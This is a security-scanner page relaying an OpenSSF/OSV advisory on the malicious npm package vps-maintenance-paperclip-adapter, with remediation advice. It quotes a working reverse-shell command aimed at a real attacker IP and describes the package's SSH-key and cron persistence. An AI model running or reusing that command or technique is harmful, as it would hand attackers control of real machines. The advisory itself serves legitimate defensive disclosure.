OSV Malicious Advisory
scanned 3h ago · by OpenSSF/OSVOpenSSF/OSV advisory MAL-2026-6757 confirms this npm version as malicious. On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an...
Advisory
MAL-2026-6757
Source
OpenSSF Malicious Packages via OSV
Summary
Malicious code in vps-maintenance-paperclip-adapter (npm)
Details
On import of the server entry module, a top-level try block detaches a shell process that (1) appends an attacker-controlled ssh-ed25519 public key to authorized_keys for multiple accounts (/root, /home/runner, /home/paperclip, /home/ec2-user, /home/centos), (2) installs persistence via a per-minute crontab entry and /etc/cron.d/eni-persist that beacons to 185.112.147.174:7007, and (3) immediately launches an interactive reverse shell to 185.112.147.174:7007 using a python3 pty fallback chained to `bash -i >& /dev/tcp/185.112.147.174/7007 0>&1`. Execution occurs at module load with no user gate, granting the operator of that host:port unauthenticated interactive shell access and durable SSH login as root and multiple standard users on any machine that imports the package. The package presents itself as a benign VPS-maintenance adapter for Paperclip and the README instructs installation under a different name (`vps-new-manager`) than the actual package name (`vps-maintenance-paperclip-adapter`), a cover-story consistent with adapter-ecosystem impersonation.
## Source: ghsa-malware (f7e7e244beecc23d87457a855c99703ccf8676a8b507163b158b7f5fb528edf2) Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.
Decision reason
OpenSSF Malicious Packages via OSV confirms vps-maintenance-paperclip-adapter@0.1.5 as malicious (MAL-2026-6757): Malicious code in vps-maintenance-paperclip-adapter (npm)
Source & flagged code
0 flaggedNo flagged code excerpts are attached to this scan.
Findings
1 High
HighOsv Malicious Advisory